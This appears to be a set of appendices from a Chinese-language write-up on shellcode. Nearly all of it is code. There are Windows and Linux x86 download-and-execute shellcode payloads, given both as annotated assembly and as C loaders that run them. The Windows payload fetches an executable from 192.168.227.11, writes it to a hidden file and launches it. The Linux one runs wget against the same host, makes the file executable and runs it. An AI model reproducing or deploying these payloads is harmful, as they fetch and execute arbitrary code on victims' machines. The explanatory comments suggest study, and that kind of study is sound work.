附录一：

#include<windows.h>

#include<stdio.h>

#include<string.h>

char code[] =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"

"\x77\x69\x6e\x69\x89\xe6\x54\x68\x4c\x77\x26\x07\xff\xd5\x31"

"\xff\x57\x57\x57\x57\x56\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x60"

"\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x6a\x50\x53\x50\x68\x57"

"\x89\x9f\xc6\xff\xd5\xeb\x4f\x59\x31\xd2\x52\x68\x00\x32\x60"

"\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89"

"\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a"

"\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57\x57\x57\x57"

"\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1c\x4b\x0f\x84"

"\x79\x00\x00\x00\xeb\xd1\xe9\x8b\x00\x00\x00\xe8\xac\xff\xff"

"\xff\x2f\x76\x69\x6d\x2e\x65\x78\x65\x00\xeb\x6b\x31\xc0\x5f"

"\x50\x6a\x02\x6a\x02\x50\x6a\x02\x6a\x02\x57\x68\xda\xf6\xda"

"\x4f\xff\xd5\x93\x31\xc0\x66\xb8\x04\x03\x29\xc4\x54\x8d\x4c"

"\x24\x08\x31\xc0\xb4\x03\x50\x51\x56\x68\x12\x96\x89\xe2\xff"

"\xd5\x85\xc0\x74\x2d\x58\x85\xc0\x74\x16\x6a\x00\x54\x50\x8d"

"\x44\x24\x0c\x50\x53\x68\x2d\x57\xae\x5b\xff\xd5\x83\xec\x04"

"\xeb\xce\x53\x68\xc6\x96\x87\x52\xff\xd5\x6a\x00\x57\x68\x31"

"\x8b\x6f\x87\xff\xd5\x6a\x00\x68\xe0\x1d\x2a\x0a\xff\xd5\xe8"

"\x90\xff\xff\xff\x72\x75\x6e\x64\x31\x31\x2e\x65\x78\x65\x00"

"\xe8\x0b\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32"

"\x37\x2e\x31\x31\x00";

int main(int argc, char \*\*argv)//shellcode loader

{

int(\*func)();

func = (int (\*)()) code;

(int)(\*func)();

}

附录二：

;通过PEB查询程序调用的API的地址

api\_call:;

pushad ; We preserve all the registers for the caller, bar EAX and ECX.

mov ebp, esp ; Create a new stack frame 函数调用，将基址指针赋给ebp

xor edx, edx ; Zero EDX 清空EDX

mov edx, fs:[edx+30h] ; Get a pointer to the PEB 【通过fs:[30h]获取当前进程的\_PEB结构】 Process Environment Block——进程环境块；存放进程信息，每个进程都有自己的PEB信息。位于用户地址空间。

mov edx, [edx+0Ch] ; Get PEB->Ldr 【通过\_PEB的Ldr成员获取\_PEB\_LDR\_DATA结构】Ldr地址存放一些指向动态链接库信息的链表地址；能得到进程加载的所有模块

mov edx, [edx+14h] ; Get the first module from the InMemoryOrder module list 【根据加载顺序 只需要向前走两个模块就到了kernel32.dll的LDR\_DATA\_TABLE\_ENTRY 此时就是指向LDR\_DATA\_TABLE\_ENTRY的InMemoryOrderModuleList字段】

next\_mod:

mov esi, [edx+28h] ; Get pointer to modules name (unicode string) 【在0x028处获取 DllName的名称字符串】

movzx ecx, word [edx+26h] ; Set ECX to the length we want to check 【MaximumLength】

xor edi, edi ; Clear EDI which will store the hash of the module name 【edi存放hash后的dll名称】

loop\_modname: ;【dll首字母为小写时执行】

xor eax, eax ; Clear EAX

lodsb ; Read in the next byte of the name

cmp al, 'a' ; Some versions of Windows use lower case module names

jl not\_lowercase ;

sub al, 0x20 ; If so normalise to uppercase

not\_lowercase: ;

ror edi, 13 ; Rotate right our hash value

add edi, eax ; Add the next byte of the name

loop loop\_modname ; Loop untill we have read enough

; We now have the module hash computed 【计算名称哈希值】

push edx ; Save the current position in the module list for later 【存储调用的API位置和名称hash】

push edi ; Save the current module hash for later

; Proceed to iterate the export address table,【继续迭代导出地址表】

mov edx, [edx+16] ; Get this modules base address

mov eax, [edx+60] ; Get PE header【PE头】

add eax, edx ; Add the modules base address

mov eax, [eax+120] ; Get export tables RVA 【PE文件的相对虚拟地址】

test eax, eax ; Test if no export address table is present【找导入表】

jz get\_next\_mod1 ; If no EAT present, process the next module

add eax, edx ; Add the modules base address

push eax ; Save the current modules EAT

mov ecx, [eax+24] ; Get the number of function names 【获得dll内API个数和RVA】

mov ebx, [eax+32] ; Get the rva of the function names

add ebx, edx ; Add the modules base address

; Computing the module hash + function hash

get\_next\_func: ;

jecxz get\_next\_mod ; When we reach the start of the EAT (we search backwards), process the next module

dec ecx ; Decrement the function name counter

mov esi, [ebx+ecx\*4] ; Get rva of next module name

add esi, edx ; Add the modules base address

xor edi, edi ; Clear EDI which will store the hash of the function name

; And compare it to the one we want

loop\_funcname: ;

xor eax, eax ; Clear EAX

lodsb ; Read in the next byte of the ASCII function name

ror edi, 13 ; Rotate right our hash value

add edi, eax ; Add the next byte of the name

cmp al, ah ; Compare AL (the next byte from the name) to AH (null)

jne loop\_funcname ; If we have not reached the null terminator, continue 【串接获得完整function name哈希】

add edi, [ebp-8] ; Add the current module hash to the function hash

cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for【hash对比】

jnz get\_next\_func ; Go compute the next function hash if we have not found it

; If found, fix up stack, call the function and then value else compute the next one…

pop eax ; Restore the current modules EAT

mov ebx, [eax+36] ; Get the ordinal table rva

add ebx, edx ; Add the modules base address

mov cx, [ebx+2\*ecx] ; Get the desired functions ordinal

mov ebx, [eax+28] ; Get the function addresses table rva

add ebx, edx ; Add the modules base address

mov eax, [ebx+4\*ecx] ; Get the desired functions RVA

add eax, edx ; Add the modules base address to get the functions actual VA 【获得API真实地址】

; We now fix up the stack and perform the call to the desired function...

finish:

mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad 【重写EAX】

pop ebx ; Clear off the current modules hash

pop ebx ; Clear off the current position in the module list

popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered

pop ecx ; Pop off the origional return address our caller will have pushed

pop edx ; Pop off the hash value our caller will have pushed

push ecx ; Push back the correct return value

jmp eax ; Jump into the required function

; We now automagically return to the correct caller...

get\_next\_mod: ;

pop eax ; Pop off the current (now the previous) modules EAT【！！！】

get\_next\_mod1: ;

pop edi ; Pop off the current (now ′07 previous) modules hash

pop edx ; Restore our position in the module list

mov edx, [edx] ; Get the next module

jmp.i8 next\_mod ; Process this module

; actual routine

start:

pop ebp ; get ptr to block\_api routine

; based on HDM's block\_reverse\_https.asm

load\_wininet:

push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.【要使用的dll】

push 0x696e6977 ; ...

mov esi, esp ; Save a pointer to wininet

push esp ; Push a pointer to the "wininet" string on the stack.

push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )【利用LoadLibraryA加载对应API函数】

call ebp ; LoadLibraryA( "wininet" )

internetopen:;【初始化WinINet函数】

xor edi,edi

push edi ; DWORD dwFlags

push edi ; LPCTSTR lpszProxyBypass

push edi ; LPCTSTR lpszProxyName

push edi ; DWORD dwAccessType (PRECONFIG = 0)

push esi ; LPCTSTR lpszAgent ("wininet\x00")

push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )

call ebp

jmp.i8 dbl\_get\_server\_host

internetconnect:;【建立 Internet 的连接】

pop ebx ; Save the hostname pointer

xor ecx, ecx

push ecx ; DWORD\_PTR dwContext (NULL)

push ecx ; dwFlags

push #{protoflags[proto]} ; DWORD dwService (INTERNET\_SERVICE\_HTTP or INTERNET\_SERVICE\_FTP)

push ecx ; password

push ecx ; username

push #{port\_nr} ; PORT

push ebx ; HOSTNAME

push eax ; HINTERNET hInternet

push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) Windows应用程序网络相关模块

call ebp

jmp.i8 get\_server\_uri

httpopenrequest:

pop ecx

xor edx, edx ; NULL

push edx ; dwContext (NULL)

#{dwflags\_asm} ; dwFlags

push edx ; accept types

push edx ; referrer

push edx ; version

push ecx ; url

push edx ; method

push eax ; hConnection

push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )

call ebp

mov esi, eax ; hHttpRequest

set\_retry:

push 0x10

pop ebx

; InternetSetOption (hReq, INTERNET\_OPTION\_SECURITY\_FLAGS, &dwFlags, sizeof (dwFlags) );

set\_security\_options:

push 0x00003380

mov eax, esp

push 4 ; sizeof(dwFlags)

push eax ; &dwFlags

push 31 ; DWORD dwOption (INTERNET\_OPTION\_SECURITY\_FLAGS)

push esi ; hRequest

push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )

call ebp

httpsendrequest:

xor edi, edi

push edi ; optional length

push edi ; optional

push edi ; dwHeadersLength

push edi ; headers

push esi ; hHttpRequest

push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )

call ebp

test eax,eax

jnz create\_file

try\_it\_again:

dec ebx

jz thats\_all\_folks ; failure -> exit

jmp.i8 set\_security\_options

dbl\_get\_server\_host:

jmp get\_server\_host

get\_server\_uri:

call httpopenrequest

server\_uri:

db "#{server\_uri}", 0x00

create\_file:

jmp.i8 get\_filename

get\_filename\_return:

xor eax,eax ; zero eax

pop edi ; ptr to filename

push eax ; hTemplateFile

push 2 ; dwFlagsAndAttributes (Hidden)

push 2 ; dwCreationDisposition (CREATE\_ALWAYS)

push eax ; lpSecurityAttributes

push 2 ; dwShareMode

push 2 ; dwDesiredAccess

push edi ; lpFileName

push 0x4FDAF6DA ; kernel32.dll!CreateFileA

call ebp

download\_prep:

xchg eax, ebx ; place the file handle in ebx

xor eax,eax ; zero eax

mov ax,0x304 ; we'll download 0x300 bytes at a time

sub esp,eax ; reserve space on stack

download\_more:

push esp ; &bytesRead

lea ecx,[esp+0x8] ; target buffer

xor eax,eax

mov ah,0x03 ; eax => 300

push eax ; read length

push ecx ; target buffer on stack

push esi ; hRequest

push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )

call ebp

test eax,eax ; download failed? (optional?)

jz thats\_all\_folks ; failure -> exit

pop eax ; how many bytes did we retrieve ?

test eax,eax ; optional?

je close\_and\_run ; continue until it returns 0

write\_to\_file:

push 0 ; lpOverLapped

push esp ; lpNumberOfBytesWritten

push eax ; nNumberOfBytesToWrite

lea eax,[esp+0xc] ; get pointer to buffer

push eax ; lpBuffer

push ebx ; hFile

push 0x5BAE572D ; kernel32.dll!WriteFile 将下载数据写入文件

call ebp

sub esp,4 ; set stack back to where it was

jmp.i8 download\_more

close\_and\_run:

push ebx

push 0x528796C6 ; kernel32.dll!CloseHandle

call ebp

execute\_file:

push 0 ; don't show

push edi ; lpCmdLine

push 0x876F8B31 ; kernel32.dll!WinExec exe执行

call ebp

thats\_all\_folks:

#{exitasm}

get\_filename:

call get\_filename\_return

db "#{filename}",0x00

get\_server\_host:

call internetconnect

server\_host:

db "#{server\_host}", 0x00

附件三：

global \_start

section .text

\_start:

;fork

xor eax,eax ; eax寄存器清零

mov al,0x2 ; x86平台32位Linux系统调用号 #define \_\_NR\_fork 2

int 0x80 ;启动系统调用需要使用INT指令。linux系统调用位于中断0x80，执行INT指令时，所有操作转移到内核中的系统调用处理程序，完成后执行转移到INT指令之后的下一条指令。

xor ebx,ebx

cmp eax,ebx ;ZF=0

jz child ;jump if zero(ZF=0)

;wait(NULL)

xor eax,eax ; eax寄存器清零

mov al,0x7 ; #define \_\_NR\_waitpid 7

int 0x80

;chmod x

xor ecx,ecx

xor eax, eax

push eax

mov al, 0xf ;#define \_\_NR\_chmod 15

push 0x78 ; x：下载文件名

mov ebx, esp

xor ecx, ecx

mov cx, 0x1ff ; 0x1ff换算为8进制为777，通过按位与运算计算权限。(参数）

int 0x80

;exec x

xor eax, eax

push eax

push 0x78 ; x：下载文件名

mov ebx, esp

push eax

mov edx, esp

push ebx

mov ecx, esp

mov al, 11 ; #define \_\_NR\_execve 11

int 0x80

child:

;download 192.168.227.11//x with wget

push 0xb ; #define \_\_NR\_execve 11

pop eax

cdq ; 把EDX的所有位都设成EAX最高位的值

push edx

push 0x782f2f32 ;2//x avoid null byte

push 0x32322e32 ;2.22

push 0x2e383631 ;168.

push 0x2e323931 ;192.

mov ecx,esp ;保存堆栈指针X-16-8

push edx

push 0x74 ;t

push 0x6567772f ;egw/

push 0x6e69622f ;nib/

push 0x7273752f ;rsu/

mov ebx,esp ；X-42-8

push edx

push ecx

push ebx

mov ecx,esp

int 0x80

附件四：

#include<stdio.h>

#include<string.h>

unsigned char code[] = \

"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x31\x31\x2f\x78\x68\x32\x32\x37\x2e\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

main()

{

printf("Shellcode Length: %d\n", strlen(code));

int (\*ret)() = (int(\*)())code;

ret();

}